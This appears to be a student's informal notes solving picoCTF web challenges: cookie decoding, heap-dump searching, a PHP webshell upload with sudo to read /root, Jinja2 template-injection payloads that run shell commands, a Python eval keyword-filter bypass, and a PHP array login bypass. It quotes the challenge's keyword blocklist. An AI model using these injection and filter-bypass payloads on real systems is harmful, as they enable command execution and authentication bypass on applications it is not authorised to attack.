Cookie Monster Secret Recipe
http://verbal-sleep.picoctf.net:56241/
- Logging on give hit “Check cookies”
- value
secrent_recipe: cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzXzZDMkZCN0YzfQ%3D%3D
- As evident from the %3d%3d, most likely base64 encoded.
- Flag: picoCTF{c00k1e_m0nster_l0ves_c00kies_6C2FB7F3}
head-dump
- Need to find enpoint with flag
- Documentation about API
- “browser_webshell_solvable”
- So we have a home page with 4 blog posts of
- cyber
- nodejs/swagger ui / API documentation
- Logging
- and hacking
- None of the #links work, except for
#API Docuemntation
- get a Swagger docuemtnation page
- heapdump gets memory
- You can open it in text file
- CTRL+F “picoCTF{”
- picoCTF{Pat!3nt_15_Th3_K3y_ad7ea5ae
- get a Swagger docuemtnation page
n0s4n1ty 1
- profile picture upload
- need to locate file upload area, and inside /root directory.
- uploading file change image
- “Update profile” button gives “File x.jpg has be uploaded Path: uplaods.jpg”
- uploaded webshell.php, find we are in /var/www/html/uploads
- ls /root gives us
Permission Denied
- Check sudo?
- We have sudo!
- sudo ls /root finds /root/flag,txt
- sudo cat /root/flag.txt
- picoCTF{wh47_c4n_u_d0_wPHP_d698d800}
SSTI1
- announcer
- Whatever submitted in input box is then redirected to a page with jsut that text
- ca use
<script> alert(5)</script>
- what can we do then…
- post / with content redirects to /announce
- Try PHP innject
<?php echo "test" ?>
- It gets automatically commented out ->
<?php
tunrs into<!---?php
- In the HTML, we can see a POST request get sent to /
- Lets open burpsuite
- Be stupid and lookup what SSTI means
- Server Side Template injection
- Using {{}} we can evaluate the command
- {{7*7}} gives up 49 instead of the output!
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- We find it is a Jinja2 injection
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls').read() }}
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
WebSockFish
stockfish chessbot!
- In the script, we can see how the game is ran and how out fish chat messages are sent
- The chess/chessboard/stockfish .js files are pretty standard open source stuff
- We look at the websock, which gives uses:
- sendMessage() to send data to websocket
- and appropiate updateMEssage() our fish dialog
- On the bottom, we see that the scripts use this on the stockfish.onmessage() event
- sf.postMEssage() evaluates the chess engine to get a response
- then, depending on the response, we either perform the best move OR send a message to the websocket
- The two messages are “mate x” and “eval x”
- “mate x” looks like how soon the fish kills you
- “eval x” determines the position… i.e “i’m winning” or “i’m losing” or “its even”
- If you sendMessage(“eval -9999”) we get our flag"
3v@l
Under the hood, there is an eval function from python figure out how to execute bad code!
- tried import os -> there are banlist words
- even “os” as a string doesn’t work
- I’m stupid and its in an html comment
TODO
------------
Secure python_flask eval execution by
1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
we can instead use the __import__()
function to get the libraries we need. We can sue them using strings. Normally, you’d need to put import os
, where os is a keyterm. not we can do __import__("o" + "s")
, then add .listdir()
to see our directory
we also have access to t he open().read()
functions. We can read the flask file with:
open('app' + '.' + "py").read()
Note: we can’t put t"." with another letter as it will yell at us
import(“o” + “s”).listdir("/flag.txt") import(“o” + “s”).listdir("~") import(“o” + “s”).listdir(import(“o” + “s”).sep) import(“o” + “s”).listdir(import(“o” + “s”).path.abspath("."+ “.”) + “flag” + “.” + “txt”) open(import(“o” + “s”).path.abspath("."+ “.”) + “flag” + “.” + “txt”).read()
SSTI2
Same set up
- some tests
{{ xxxx }}
still works- function give server error
- {{ 1.1 }} shows 11, which means . is removed.
- () still work, but not within {} -> seems to be stripped?
- except () together works. only ( breaks
- __ are stripped
- {{ config }} gets outputs
- periodds are removed, so are []
- https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.html#common-bypasses
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag${IFS}')|attr('read')()%}{%print(a)%}{%endwith%}
apriti sesame street
https://medium.com/@Asm0d3us/part-1-php-tricks-in-web-ctf-challenges-e1981475b3e4
- hint says backup files from emacs
- emacs saves edited files as
filename.txt~
- we can tehn find the logic of the hpp in
impossibleLogin.php
- we can tehn find the logic of the hpp in
- refer to link above
- payload is
username[]=a&pwd[]=b
in body- [] turns the value into an array, which sha1 tries to cast into a string and then returns 0. Intersting notes:
- php == is vulenrable to a lot of things
- md5 collisions when doing (md5) == (md5) sisnces strings starting with 0e are treated as 0.
- you can also type juggle strcmp https://rst.hashnode.dev/bypassing-php-strcmp
Pachinko
- I actually have 0 clue what i did but i connected 8-4-7.